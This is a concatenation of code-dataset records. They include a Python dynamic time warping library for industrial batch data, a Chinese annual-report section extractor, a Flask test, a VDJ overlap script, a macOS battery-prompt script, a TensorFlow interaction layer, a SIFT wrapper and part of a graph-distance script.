distance\n\n Parameters\n ----------\n step_pattern : String\n Step pattern relative to which compute the average DTW distance\n\n Returns\n -------\n Float\n Average DTW distance relative to the application of DTW with the specified\n step pattern\n \"\"\"\n if len(self.data['distance_distortion'][step_pattern]) != self.data['num_queries']:\n print('Not every query aligned, align the remaining queries')\n return\n else:\n I = self.data['num_queries']\n avg_dist = sum(self.data['distance_distortion'][step_pattern].values())/I\n\n return avg_dist\n\n def get_p_max(self, query_id):\n \"\"\"\n Computes the maximum value of P for the selected query batch\n\n Parameters\n ----------\n query_id : String\n ID of the query batch under examination\n\n Returns\n -------\n p_max : Int\n Maximum value of the P parameter that allows for a global alignment\n \"\"\"\n k_q = len(self.data['queries'][query_id][0]['values'])\n k_r = len(self.data['reference'][0]['values'])\n p_max = np.floor(min(k_q, k_r)/abs(k_q - k_r)) if abs(k_q - k_r) > 0 else k_r\n return p_max\n\n def get_global_p_max(self):\n \"\"\"\n Computes the maximum value of P for the data set under consideration\n\n Returns\n -------\n Int\n maximum value of the P parameter that allows for a global alignment between the\n reference and every query batch in the Dtw object\n \"\"\"\n p_maxs = [self.get_p_max(query_id) for query_id in self.data['queriesID']]\n return int(min(p_maxs))\n\n def itakura(self, i, j, ref_len, query_len, step_pattern):\n \"\"\"\n Induced Itakura global constraint for GLOBAL ALIGNMENT\n\n Parameters\n ----------\n i : Int\n row (reference) index\n j : Int\n column (query) index\n ref_len : Int\n Length of the reference batch\n query_len : Int\n Length of the query batch\n step_pattern : String\n Step pattern to be used\n\n Returns\n -------\n Boolean\n True if the (i, j) cell lies within the Itakura paralelogram\n \"\"\"\n patt = re.compile(\"symmetricP[1-9]+\\d*\")\n if step_pattern == \"symmetricP05\":\n p = 1/2\n elif patt.match(step_pattern):\n p = int(step_pattern[step_pattern.index('P')+1:])\n else:\n return True\n\n in_domain = (i >= np.floor(j*p/(p+1))) and \\\n (i <= np.ceil(j*(p+1)/p)) and \\\n (i <= np.ceil(ref_len+(j-query_len)*(p/(p+1)))) and \\\n (i >= np.floor(ref_len+(j-query_len)*((p+1)/p)))\n return in_domain\n\n def extreme_itakura(self, i, j, ref_len, query_len, step_pattern):\n \"\"\"\n Alternative implementation of itakura method\n \"\"\"\n case = 0\n patt = re.compile(\"symmetricP[1-9]+\\d*\")\n if step_pattern == \"symmetricP05\":\n p = 1/2\n elif patt.match(step_pattern):\n p = int(step_pattern[step_pattern.index('P')+1:])\n else:\n return (case, True)\n\n if (i < np.floor(j*p/(p+1))) or (i < np.floor(ref_len+(j-query_len)*((p+1)/p))):\n case = 1\n return (case, False)\n\n in_domain = (i >= np.floor(j*p/(p+1))) and \\\n (i <= np.ceil(j*(p+1)/p)) and \\\n (i <= np.ceil(ref_len+(j-query_len)*(p/(p+1)))) and \\\n (i >= np.floor(ref_len+(j-query_len)*((p+1)/p)))\n\n return (case, in_domain)\n\n def reset_weights(self, random=False):\n \"\"\"\n Reset the variables' weights to 1\n\n Parameters\n ----------\n random : Boolean\n If True, randomly initializes variables weight to uniformly sampled\n values in [0.1, 1.0]\n If False, initialize variables weights to 1.0\n \"\"\"\n n_feat = len(self.data['reference'])\n if not random:\n weights = np.ones(n_feat)\n else:\n weights = np.random.uniform(low=0.1, high=1, size=n_feat)\n weights = weights/sum(weights) * n_feat\n\n self.data['feat_weights'] = weights\n\n def compute_mld(self, distance_matrix, warping_path):\n \"\"\"\n Compute the MLDs coefficients (mean local distance) of a certain distance_matrix relative\n to warping_path\n\n Parameters\n ----------\n distance_matrix : Numpy array\n Local distance matrix\n warping_path : List\n list of tuples containing the warping steps\n\n Returns\n -------\n Dict\n {'onpath': Value of the mean local distance along the warping path,\n 'offpath': Value of the mean local distance outside the warping path}\n \"\"\"\n k = len(warping_path)\n on_path = [distance_matrix[i, j] for i, j in warping_path]\n on_path_mld = np.mean(on_path)\n off_path_mld = (sum(sum(distance_matrix)) - sum(on_path))\\\n / (np.product(distance_matrix.shape)-k)\n\n return {'onpath': on_path_mld,\n 'offpath': off_path_mld}\n\n def extract_single_feat(self, feat_idx, query_id):\n \"\"\"\n Accessory method for selecting single features from the dataset\n\n Parameters\n ----------\n feat_idx : Int\n Index of the PV in a batch\n query_id : String\n ID of the query batch\n\n Returns\n -------\n Dict\n {'reference': reference_ts,\n 'query': query_ts}\n Dictionary with the mvts representation of the single features extracted for the\n reference and the query batch\n \"\"\"\n pv_name = self.data['reference'][feat_idx]['name']\n reference_ts = np.array(self.scale_pv(pv_name, self.data['reference'][feat_idx]['values'], mode = self.scaling)).reshape(-1, 1)\n query_ts = np.array(self.scale_pv(pv_name, self.data['queries'][query_id][feat_idx]['values'], mode = self.scaling)).reshape(-1, 1)\n\n return {'reference': reference_ts,\n 'query': query_ts}\n\n def weight_optimization_single_batch(self, query_id, step_pattern, n_jobs):\n \"\"\"\n Optimization step regarding a single batch\n\n Parameters\n ----------\n query_id : string\n ID of the query batch\n step_pattern : string\n Step pattern used\n n_jobs : int\n Number of weights to compute in parallel\n\n Returns\n -------\n weights : list\n list of updated weights\n \"\"\"\n reference_ts = self.convert_to_mvts(self.data['reference'])\n query_ts = self.convert_to_mvts(self.data['queries'][query_id])\n res = self.dtw(reference_ts, query_ts, step_pattern=step_pattern, n_jobs=-1)\n warping = res['warping']\n tot_feats = len(self.data['reference'])\n inputs = np.arange(tot_feats)\n\n num_cores = min(n_jobs, multiprocessing.cpu_count() - 1)\n\n def process_feats(feat_idx):\n \"\"\"\n Computes mld->weight for single feature\n \"\"\"\n single_feats = self.extract_single_feat(feat_idx, query_id)\n reference = single_feats['reference']\n query = single_feats['query']\n local_distance_matrix = self.comp_dist_matrix(reference, query, n_jobs=1)\n\n mld = self.compute_mld(local_distance_matrix, warping)\n\n weight = mld['offpath']/mld['onpath'] if mld['onpath'] > 1e-6 else 1.0\n return weight\n\n weights = Parallel(n_jobs=n_jobs)\\\n (delayed(process_feats)(feat_idx) for feat_idx in inputs)\n\n return weights\n\n def weight_optimization_step(self, step_pattern='symmetric2', update=False, n_jobs=1):\n \"\"\"\n Single iteration of the optimization algorithm, considering all batches in the instance\n\n Parameters\n ----------\n step_pattern : string\n Step pattern used\n update : boolean\n If True, updates the variables weights in the Dtw object\n n_jobs : int\n Number of weights to compute in parallel\n\n Returns\n -------\n updated_weights : Numpy array\n Weights updated from all the query batches\n \"\"\"\n tot_feats = len(self.data['reference'])\n num_queries = self.data['num_queries']\n w_matrix = np.empty((num_queries, tot_feats))\n\n for c, query_id in tqdm(zip(np.arange(num_queries), self.data['queriesID']), desc='Batch Processing', total=num_queries, leave=False):\n #print('\\rBatch %3d/%3d'%(c+1, num_queries), end = '')\n w_matrix[c, ] = self.weight_optimization_single_batch(query_id, step_pattern, n_jobs)\n\n updated_weights = np.mean(w_matrix, axis=0)\n updated_weights = updated_weights/sum(updated_weights) * tot_feats\n\n if update:\n self.data['feat_weights'] = updated_weights\n\n return updated_weights\n\n def optimize_weights(self, step_pattern='symmetric2', convergence_threshold=0.01, n_steps=10,\\\n file_path=0, n_jobs=1):\n \"\"\"\n Implements the algorithm for the optimization of the weights\n\n Parameters\n ----------\n step_pattern : string\n Step pattern used\n convergence_threshold : float\n Percentage change in the weight vector under which we consider the algorithm has\n reached convergence\n n_steps : int\n Number of maximum iteration of the algorithm\n file_path : string\n Where to store the pickle file containing the weights\n n_jobs : int\n Number of weights to compute in parallel\n \"\"\"\n current_weights = self.data['feat_weights']\n old_weights = self.data['feat_weights']\n conv_val = 1\n step = 0\n\n while conv_val > convergence_threshold and step < n_steps:\n updated_weights = self.weight_optimization_step(step_pattern, update=True,\\\n n_jobs=n_jobs)\n loop_conv_val = np.linalg.norm(updated_weights - old_weights, ord=2)\\\n / np.linalg.norm(old_weights, ord=2)\n if loop_conv_val <= convergence_threshold*0.1:\n print('Algorithm inside a loop')\n with open('results_weight_opt.txt', 'a') as f:\n f.write('### Algorithm inside a loop ###')\n break\n conv_val = np.linalg.norm(updated_weights - current_weights, ord=2)\\\n / np.linalg.norm(current_weights, ord=2)\n old_weights = current_weights\n current_weights = updated_weights\n step += 1\n print('\\nConvergence value: %0.3f\\nStep: %d\\n' % (conv_val, step))\n print(current_weights, '\\n')\n if file_path:\n with open(file_path, 'wb') as f:\n pickle.dump(updated_weights, f, protocol=pickle.HIGHEST_PROTOCOL)\n with open('results_weight_opt.txt', 'a') as f:\n f.write('Convergence value: %0.3f\\nNumber of steps: %d\\n'%(conv_val, step))\n self.data['feat_weights'] = updated_weights\n\n def get_weight_variables(self):\n \"\"\"\n Returns a dictionary with the weight for each variable\n\n Returns\n -------\n var_weight : dict\n Dictionary of the form {pv_name : pv_weight}\n \"\"\"\n var_names = [pv['name'] for pv in self.data['reference']]\n var_weight = {var: weight for var, weight in zip(var_names, self.data['feat_weights'])}\n return var_weight\n\n def set_weight_variables(self, dict_weights):\n \"\"\"\n Sets the variables weights to arbitrary chosen values\n\n Parameters\n ----------\n dict_weights : dict\n Dictionary containing all PV names and respective weight\n \"\"\"\n pv_names_ordered = [pv['name'] for pv in self.data['referemce']]\n\n weights = [dict_weights[pv_name] for pv_name in pv_names_ordered]\n\n self.data['feat_weights'] = weights\n\n def plot_weights(self, n=25, figsize=(15, 8)):\n \"\"\"\n Horizontal bar chart with variables' weights sorted by magnitude\n\n Parameters\n ----------\n n : int\n Number of highest weight variables to plot\n figsize : tuple\n Size of the matplotlib figure\n \"\"\"\n #plt.rcdefaults()\n fig, ax = plt.subplots(figsize=figsize)\n\n var_names = sorted(list(self.get_weight_variables().items()),\n key=lambda x: x[1], reverse=True)[:n]\n names = [v[0] for v in var_names]\n y_pos = np.arange(len(names))\n weights = [v[1] for v in var_names]\n\n ax.barh(y_pos, weights, align='center', color='#d90000')\n ax.set_yticks(y_pos)\n ax.set_yticklabels(names)\n ax.invert_yaxis() # labels read top-to-bottom\n ax.set_xlabel('Weights')\n ax.set_title('Variables\\' weights')\n\n fig.tight_layout()\n #plt.show()\n\n def select_step_pattern(self, verbose=False):\n \"\"\"\n Shows the optimal step pattern. The step patterns tested are symmetric2, symmetricP05 and\n all the symmetricPX for allowed X. The lower the score, the better.\n\n Parameters\n ----------\n verbose : boolean\n whether or not to print the results\n\n Returns\n -------\n out : list\n List of tuples (step pattern, score)\n \"\"\"\n print('Max P: %d'%self.get_global_p_max())\n POSSIBLE_STEP_PATTERNS = ['symmetric2', 'symmetricP05'] + ['symmetricP%s'%p for p in np.arange(1, self.get_global_p_max()+1)]\n\n RES = defaultdict(list)\n for step_pattern in POSSIBLE_STEP_PATTERNS[::-1]:\n #print(step_pattern)\n for _id in tqdm(self.data['queriesID'], desc=step_pattern, leave=False):\n self.call_dtw(_id, step_pattern=step_pattern, n_jobs=-1)\n\n RES[step_pattern].append(self.avg_time_distortion(step_pattern))\n RES[step_pattern].append(self.avg_distance(step_pattern))\n\n TD = [x[0] for x in RES.values()]\n RANGE_TD = min(TD), max(TD)\n\n DIST = [x[1] for x in RES.values()]\n\n RANGE_DIST = min(DIST), max(DIST)\n\n RES_SCALED = defaultdict(list)\n for step_pattern in POSSIBLE_STEP_PATTERNS:\n RES_SCALED[step_pattern] = [(RES[step_pattern][0] - RANGE_TD[0])/(RANGE_TD[1]-RANGE_TD[0])]\n RES_SCALED[step_pattern].append((RES[step_pattern][1] - RANGE_DIST[0])/(RANGE_DIST[1]-RANGE_DIST[0]))\n\n DISTORTIONS = [RES_SCALED[step_pattern][0] for step_pattern in POSSIBLE_STEP_PATTERNS]\n DISTANCES = [RES_SCALED[step_pattern][1] for step_pattern in POSSIBLE_STEP_PATTERNS]\n SCORE = [np.sqrt(x**2 + y**2) for x, y in zip(DISTANCES, DISTORTIONS)]\n\n out = list()\n for step_pattern in POSSIBLE_STEP_PATTERNS:\n score = np.sqrt(RES_SCALED[step_pattern][0]**2 + RES_SCALED[step_pattern][1]**2)\n if verbose: print('%s Score: %0.5f\\tTime Dist: %0.5f/%0.5f\\t DTW Dist: %0.5f/%0.5f'%(step_pattern, score, RES[step_pattern][0], RES_SCALED[step_pattern][0], RES[step_pattern][1], RES_SCALED[step_pattern][1]))\n out.append((step_pattern, score))\n\n return out\n def plot_by_name(self, _id, pv_name):\n \"\"\"\n Plots one pv relative to a batch with ID equal to _id, according to its name pv_name\n\n Parameters\n ----------\n _id : string\n ID of the batch to consider\n pv_name : string\n Name of the PV to plot\n \"\"\"\n pv_list = [pv['name'] for pv in self.data['reference']]\n\n if _id != self.data['ref_id']:\n pv_idx = pv_list.index(pv_name)\n plt.plot(self.data['queries'][_id][pv_idx]['values'])\n plt.title(pv_name)\n plt.xlabel('Time (min)')\n plt.ylabel('PV value')\n plt.show()\n elif _id == self.data['ref_id']:\n pv_idx = pv_list.index(pv_name)\n plt.plot(self.data['reference'][pv_idx]['values'])\n plt.title(pv_name)\n plt.xlabel('Time (min)')\n plt.ylabel('PV value')\n plt.show()\n else: print('Batch ID not found')\n\n def do_warp(self, ref_values, query_values, warping_path, symmetric=True):\n \"\"\"\n Performs warping of reference and query values.\n Symmetric: reference and query warped to common time axis\n Asymmetric: query warped to reference time axis averaging warped elements\n\n Parameters\n ----------\n ref_values : list\n List of the PV values of the reference batch\n query_values : list\n List of the PV values of the query batch\n warping_path : list\n List of tuples containing the wapring steps\n symmertic : boolean\n If True, maps both reference and query to a common time axis\n If False, warps only the query batch on the time axis of the reference batch\n Returns\n -------\n list\n [warped_ref : warped reference PV,\n warped_query : warped query PV]\n \"\"\"\n query_warping = [x[1] for x in warping_path]\n ref_warping = [x[0] for x in warping_path]\n\n if symmetric:\n warped_query = [query_values[j] for j in query_warping]\n warped_ref = [ref_values[i] for i in ref_warping]\n\n\n if not symmetric:\n warped_ref = ref_values\n warped_query = list()\n N = len(ref_values)\n for i in range(N):\n warp_idx = [x[1] for x in filter(lambda x: x[0] == i, warping_path)]\n to_warp = [query_values[j] for j in warp_idx]\n\n warped_query.append(np.mean(to_warp))\n\n return [warped_ref, warped_query]\n\n def plot_warped_curves(self, query_id, pv_list, step_pattern, symmetric=False):\n \"\"\"\n Plot warping curves for all pvs in pv_list, for both reference and query batch\n\n Parameters\n ----------\n query_id : string\n ID of the query bacth\n pv_list : list\n List of PV names to plot\n step_pattern : string\n Step pattern to consider\n symmetric: boolean\n If True, performs symmetric warping between reference and query\n \"\"\"\n if isinstance(pv_list, str):\n pv_list = [pv_list]\n\n warping = self.data['warpings_per_step_pattern'][step_pattern][query_id]\n query = self.data['queries'][query_id]\n ref = self.data['reference']\n\n fig = plt.figure(figsize=(12, 8))\n\n for pv_name in pv_list:\n query_values = list(filter(lambda x: x['name'] == pv_name, query))[0]['values']\n ref_values = list(filter(lambda x: x['name'] == pv_name, ref))[0]['values']\n warped_ref, warped_query = self.do_warp(ref_values, query_values, warping, symmetric)\n\n plt.plot(warped_query, color='b', label=\"Query\")\n plt.plot(warped_ref, color='orange', label='Reference')\n\n plt.legend()\n plt.title('Step pattern: %s'%step_pattern)\n plt.xlim((0, len(warped_ref)))\n plt.ylim((0, max(max(query_values), max(ref_values))+5))\n plt.show()\n\n def online_scale(self, pv_dict_online):\n \"\"\"\n Parameters\n ----------\n pv_dict_online : dict\n Dictionary representing a cut PV\n\n Returns\n -------\n scaled_values : Numpy array\n Array of scaled values\n \"\"\"\n pv_name = pv_dict_online['name']\n pv_values = np.array(pv_dict_online['values'])\n pv_min, pv_max = self.scale_params[pv_name]\n scaled_values = (pv_values - pv_min)/(pv_max - pv_min) if pv_max - pv_min > 10-6 else np.full(pv_values.shape, 0.5)\n\n return scaled_values\n\n def online_query(self, query_id, length):\n \"\"\"\n Parameters\n ----------\n query_id : string\n ID of the query batch\n length : int\n Length to cut the query batch\n Returns\n -------\n cut_query : dict\n Dictionary representing the cut query\n \"\"\"\n query = self.data['queries'][query_id]\n\n cut_query = [{'name':query_pv['name'], 'values':self.online_scale({'name':query_pv['name'], 'values':query_pv['values'][:length]})} for query_pv in query]\n\n return cut_query\n\n def check_open_ended(self, query_id, length, step_pattern):\n \"\"\"\n Parameters\n ----------\n query_id : string\n ID of the query batch\n length: int\n Length of the cut query batch\n step_pattern : string\n Step pattern to check\n Returns\n -------\n boolean\n True if the open-ended DTW has already been applied to the specified combination\n (ID, length, step_pattern)\n \"\"\"\n check_id = query_id in self.data_open_ended['queries']\n if check_id:\n check = bool(list(filter(lambda x: x['step_pattern']==step_pattern and x['length']==length, self.data_open_ended['queries'][query_id])))\n return check\n else:\n return False\n","sub_path":"final/real_experiment/libdtw.py","file_name":"libdtw.py","file_ext":"py","file_size_in_byte":56700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"410804469","text":"#-*-coding:utf-8-*-\n#description: 机器处理\n#author:FSOL\n#Python 3.5.2 64-bit\n\nimport os\ns = os.sep\nroot = os.getcwd()\ninfo = \"NaN\"\nendcode = \"NaN\"\ndiffer = 20#关键词所在行长度的阈值\n\nprint(\"第一阶段 正在运行中...\\n\\n\")\n#读入时去空格\ndef readnext():\n global info\n info = fin.readline()\n info = info.replace('\\u0020','')\n info = info.replace('\\u3000','')\n \n#对所有middle文件夹下的文件,即转换后的txt\nfor filename in os.listdir(os.path.join(root,\"input\")):\n #print(filename)\n if(filename.find(\"补充\")!=-1 or filename.find(\"更正\")!=-1):\n continue\n \n #处理文件的名字并打开\n fin = open(os.path.join(root,\"input\",filename), 'r',encoding = 'UTF-8')\n fout = open(os.path.join(root,\"output\",filename),'w',encoding = 'UTF-8')\n\n #寻找第一个“董事会报告”\n readnext()\n while (info.find(\"目录\") == -1)and(info!=''):\n readnext()\n while (info.find('董事会报告') == -1)and(info!=''):\n readnext()\n \n if info!='':\n #判断董事会报告的下一章节是什么\n readnext()\n count = 0\n while info != '' and count < 10:\n if info.find(\"监事会报告\")!=-1 :\n endcode=\"监事会报告\"\n break\n else:\n if info.find(\"重要事项\")!=-1 :\n endcode=\"重要事项\"\n break\n readnext()\n count+=1\n if(endcode==\"NaN\"):\n info = ''\n \n #寻找第二个董事会报告并输出直到下一章节的关键词出现\n while ((len(info)>differ or info.find('董事会报告') == -1 ) and (info!='')):\n readnext()\n while ((len(info)>differ or info.find(endcode) == -1 ) and (info!='')):\n fout.write(info)\n readnext()\n \n fin.close()\n fout.close()\n","sub_path":"ver1/fwork.py","file_name":"fwork.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"428164844","text":"import pytest\nfrom flask import url_for\n\n\n@pytest.mark.parametrize(\n \"query_args, params\", [\n ({}, {'govuk_banner': True}),\n ({'govuk_banner': 'false'}, {'govuk_banner': False})\n ]\n)\ndef test_renders(app_, mocker, query_args, params):\n with app_.test_request_context(), app_.test_client() as client:\n\n mock_html_email = mocker.patch(\n 'app.main.views.index.HTMLEmail',\n return_value=lambda x: 'rendered'\n )\n\n response = client.get(url_for('main.email_template', **query_args))\n\n assert response.status_code == 200\n assert response.get_data(as_text=True) == 'rendered'\n mock_html_email.assert_called_once_with(**params)\n","sub_path":"tests/app/main/views/test_email_preview.py","file_name":"test_email_preview.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"8036679","text":"#!/usr/bin/env python\n#slancast@scg4.stanford.edu:/srv/gsfs0/projects/snyder/slancast/repertoire/counting_sequences\n\nimport sys\nimport argparse\nimport numpy as np\nimport operator\n\n# sys.argv[1] should be time 1, sys.argv[2] is time 2, and sys.argv[3] is time 2\n\nprint(\"beginning \"+str(sys.argv[4]))\n\n\nprint(\"Extracting data from T1\")\n\nfilehandle = open(sys.argv[1], \"r\")\nfilestring = filehandle.read()\nfilelist = filestring.split(\"\\n\")\nsplit_tm1 = []\nfor entry in filelist:\n entry=entry.split(\",\")\n split_tm1.append(entry)\n\nT1vdj = []\nT2vdj = []\nT3vdj = []\n\ncounter = 0\ncounter1 = 0\n\n#### Creating lists of all vdj combinations\n\nT1Totalreads = 0\nfor entry in split_tm1:\n\tif entry[0] != \"CDR3(pep)\" and len(entry) > 10:\n\t\tvdj = str(entry[1]) + str(entry[6]) + str(entry[11])\n\t\tT1vdj.append(vdj)\nfilehandle.close()\n\nprint(\"Extracting data from T2\")\n\nfilehandle2 = open(sys.argv[2], \"r\")\nfilestring2 = filehandle2.read()\nfilelist2 = filestring2.split(\"\\n\")\nsplit_tm2 = []\nfor entry in filelist2:\n entry=entry.split(\",\")\n split_tm2.append(entry)\n\t\t\t\t\t\t\t\t\nT2Totalreads = 0\t\t\t\t\t\t\nfor entry in split_tm2:\n\tif entry[0] != \"CDR3(pep)\" and len(entry) > 10:\n\t\tvdj = str(entry[1]) + str(entry[6]) + str(entry[11])\n\t\tT2vdj.append(vdj)\nfilehandle2.close()\n\nprint(\"Extracting data from T3\")\n\nfilehandle3 = open(sys.argv[3], \"r\")\nfilestring3 = filehandle3.read()\nfilelist3 = filestring3.split(\"\\n\")\nsplit_tm3 = []\nfor entry in filelist3:\n entry=entry.split(\",\")\n split_tm3.append(entry)\n\nT3Totalreads = 0\t\t\t\nfor entry in split_tm3:\n\tif entry[0] != \"CDR3(pep)\" and len(entry) > 10:\n\t\tvdj = str(entry[1]) + str(entry[6]) + str(entry[11])\n\t\tT3vdj.append(vdj)\n\t\nfilehandle3.close()\n\nprint(\"finding overlap\") #determining which combinations of vdjs are overlapping between samples. What proportion are overlapping?\nprint(\"length T1: \" + str(len(T1vdj)))\nT1vdj = list(set(T1vdj))\nprint(\"Unique vdj: \" + str(len(T1vdj)))\nprint(\"length T2: \" + str(len(T2vdj)))\nT2vdj = list(set(T2vdj))\nprint(\"Unique vdj: \" + str(len(T2vdj)))\nprint(\"length T3: \" + str(len(T3vdj)))\nT3vdj = list(set(T3vdj))\nprint(\"Unique vdj: \" + str(len(T3vdj)))\n\nT1T2overlap = []\nfor i in T1vdj:\n\tif i in T2vdj:\n\t\tT1T2overlap.append(i)\n\n#Since there virtually all of the vdj sequences are overlapping saving this is nearly worthless\t\t\n'''\n#For now I don't need to what is just present in T2 and T3, although I'm sure I will\n#T2T3overlap = []\t\t\n#for i in T2vdj:\n#\tif i in T3vdj:\n#\t\tT2T3overlap.append(i)\n\nprint(\"T1T2T3overlap\")\t\nT1T2T3overlap = []\nfor i in T1T2overlap:\n\tif i in T3vdj:\n\t\tT1T2T3overlap.append(i)\nT1T2overlap = []\n\t\t\nprint(\"T1T2T3done\")\n\n#creating the output matrix\n\noutput = []\nfor entry in split_tm1:\n\tif entry[0] != \"CDR3(pep)\":\n\t\tvdj = str(entry[1]) + str(entry[6]) + str(entry[11])\n\t\tif vdj in T1T2T3overlap:\n\t\t\tentry.append(\"T1\")\n\t\t\toutput.append(entry)\nsplit_tm1 = []\n\nprint(\"T2\")\n\t\t\nfor entry in split_tm2:\n\tif entry[0] != \"CDR3(pep)\":\n\t\tvdj = str(entry[1]) + str(entry[6]) + str(entry[11])\n\t\tif vdj in T1T2T3overlap:\n\t\t\tentry.append(\"T2\")\n\t\t\toutput.append(entry)\nsplit_tm2 =[]\n\nprint(\"T3\")\n\t\t\t\nfor entry in split_tm3:\n\tif entry[0] != \"CDR3(pep)\":\n\t\tvdj = str(entry[1]) + str(entry[6]) + str(entry[11])\n\t\tif vdj in T1T2T3overlap:\n\t\t\tentry.append(\"T3\")\n\t\t\toutput.append(entry)\n\n\t\nsplit_tm3 = []\t\t\t\nprint(\"Total overlapping: \" +str(len(output)))\t\t\noutput = np.array(output)\nnp.savetxt(\"./overlapping_vdj_\"+sys.argv[4]+\".csv\", output, delimiter=\",\", fmt=\"%s\")\n'''","sub_path":"vdj.py","file_name":"vdj.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"105870677","text":"#!/usr/bin/env python\n# coding=UTF-8\n\nimport math, subprocess\n\np = subprocess.Popen([\"ioreg\", \"-rc\", \"AppleSmartBattery\"], stdout=subprocess.PIPE)\noutput = p.communicate()[0]\n\no_charge = [l for l in output.splitlines() if 'ExternalConnected' in l][0]\no_max = [l for l in output.splitlines() if 'MaxCapacity' in l][0]\no_cur = [l for l in output.splitlines() if 'CurrentCapacity' in l][0]\n\nb_max = float(o_max.rpartition('=')[-1].strip())\nb_cur = float(o_cur.rpartition('=')[-1].strip())\nb_charge = o_charge[-3:]\n\ncharge = b_cur / b_max\ncharge_threshold = int(math.ceil(10 * charge))\n\n# Output\ntotal_slots, slots = 10, []\nfilled = int(math.ceil(charge_threshold * (total_slots / 10.0))) * u'●'\nempty = (total_slots - len(filled)) * u'○'\n\nout = (filled + empty).encode('utf-8')\nimport sys\n\ncolor_green = '%{\u001B[32m%}'\ncolor_yellow = '%{\u001B[1;33m%}'\ncolor_red = '%{\u001B[31m%}'\ncolor_reset = '%{\u001B[00m%}'\ncolor_out = (\n color_green if len(filled) > 6\n else color_yellow if len(filled) > 4\n else color_red\n)\n\n# Check if charger is connected and build output String\nout = (\n\tcolor_out + out + color_reset + '⚡' if b_charge == \"Yes\"\n\telse color_out + out + color_reset + '🔋'\n)\n\nsys.stdout.write(out)\n","sub_path":"battery.py","file_name":"battery.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"32013771","text":"from tensorflow.keras.layers import Layer\nfrom tensorflow.linalg import LinearOperatorLowerTriangular as LT\nimport tensorflow as tf\n\nclass SecondOrderFeatureInteraction(Layer):\n \n def __init__(self, self_interaction=False):\n \n self._self_interaction = self_interaction\n \n super(SecondOrderFeatureInteraction, self).__init__()\n \n def call(self, inputs):\n \n '''\n inputs: list of features with shape [batch_size, num_features, feature_dim] or [batch_size, feature_dim]\n '''\n \n batch_size = tf.shape(inputs[0])[0]\n \n def _expand_tensor(tensor):\n if tf.shape(tensor) == 3:\n return tensor\n else:\n return tf.expand_dims(tensor, 1)\n \n expand_inputs = list(map(_expand_tensor, inputs))\n concat_features = tf.concat(expand_inputs, axis=1)\n dot_products = LT(tf.matmul(concat_features, concat_features, transpose_b=True)).to_dense()\n ones = tf.ones_like(dot_products)\n mask = tf.linalg.band_part(ones, 0, -1)\n \n if not self._self_interaction:\n mask = mask - tf.linalg.band_part(ones, 0, 0)\n out_dim = int(len(inputs) * (len(inputs)-1) / 2)\n else:\n out_dim = int(len(inputs) * (len(inputs)+1) / 2)\n \n flat_interactions = tf.reshape(tf.boolean_mask(dot_products, mask), (batch_size, out_dim))\n \n return flat_interactions","sub_path":"openrec/tf2/modules/second_order_feature_interaction.py","file_name":"second_order_feature_interaction.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"440343157","text":"from feature import Feature\nimport cv2\n\nclass SiftFeature(Feature):\n\tPARAMETERS = {'n_features': 0,\n\t\t\t\t\t 'n_octave_layers': 3,\n\t\t\t\t\t 'contrast_threshold': 0.04,\n\t\t\t\t\t 'edge_threshold': 10,\n\t\t\t\t\t 'sigma': 1.6}\n\t\n\tdef __init__(self, file_id, data):\n\t\tself.file_id = file_id\n\t\tself.data = data\n\n\t@classmethod\n\tdef initialize(cls, parameters_in):\n\t\tparameters = cls.sanitize_parameters(parameters_in)\n\t\treturn cv2.SIFT(parameters['n_features'],\n\t\t\t\t\t\tparameters['n_octave_layers'],\n\t\t\t\t\t\tparameters['contrast_threshold'],\n\t\t\t\t\t\tparameters['edge_threshold'],\n\t\t\t\t\t\tparameters['sigma'])\n\t\n\t@classmethod\n\tdef get_features(cls, cls_wrapper_instance, parameters, image_data):\n\t\treturn cls_wrapper_instance.detectAndCompute(image_data, None)[1]\n\t\t\n\t\t\t\t\t\t\n\t\t\n\t\n","sub_path":"src/feature/sift_feature.py","file_name":"sift_feature.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"18438031","text":"import math\r\n\r\n# File IO module\r\n\r\nconnection_file = open(\"connections.txt\",\"r\")\r\nlocation_file = open(\"locations.txt\",\"r\")\r\n\r\nconnections_data = connection_file.readlines()\r\nlocation_data = location_file.readlines()\r\n\r\nconnection_file.close()\r\nlocation_file.close()\r\n\r\n#------------------------------------------------------------------------------------\r\n\r\n#given two lists of x and y coordinations computes the distance between them\r\n\r\ndef distance_calc(node1,node2):\r\n X1 = float(node1[0])\r\n X2 = float(node2[0])\r\n Y1 = float(node1[1])\r\n Y2 = float(node2[1])\r\n distance = math.sqrt((Y2-Y1)**2+(X2-X1)**2)\r\n print(math.ceil(distance*100)/100)\r\n\r\n\r\n\r\n# USER INPUT MODULE\r\n\r\n#start = input(\"Enter starting location: \")\r\n#end = input(\"Enter ending location: \")\r\n\r\n#-----------------------------------------------------------------------------\r\n\r\n# Utility Functions\r\n\r\ndef line_counter(data):\r\n NumOfLines = 0\r\n for items in data:\r\n NumOfLines += 1\r\n return NumOfLines\r\n\r\n# returns a list of the connecting nodes give a node -------------------------\r\n\r\ndef Get_Connections(node):\r\n for x in range(0,line_counter(connections_data)):\r\n if connections_data[x][0:2] == node:\r\n connection_string = (connections_data[x][5:100]).strip()\r\n Connections_List = connection_string.split(\" \")\r\n return Connections_List\r\n else:\r\n return \"location not found\"\r\n\r\n#testing ouput\r\nprint(*Get_Connections(\"B3\"),sep=\" \")\r\nprint(*Get_Connections(\"A1\"),sep=\" \")\r\nprint(*Get_Connections(\"A2\"),sep=\" \")\r\nprint(*Get_Connections(\"B2\"),sep=\" \")\r\nprint(Get_Connections(\"Z69\"))\r\n\r\n# returns a list with x and y cordinates given a node --------------------------\r\n\r\ndef Get_Locations(node):\r\n for x in 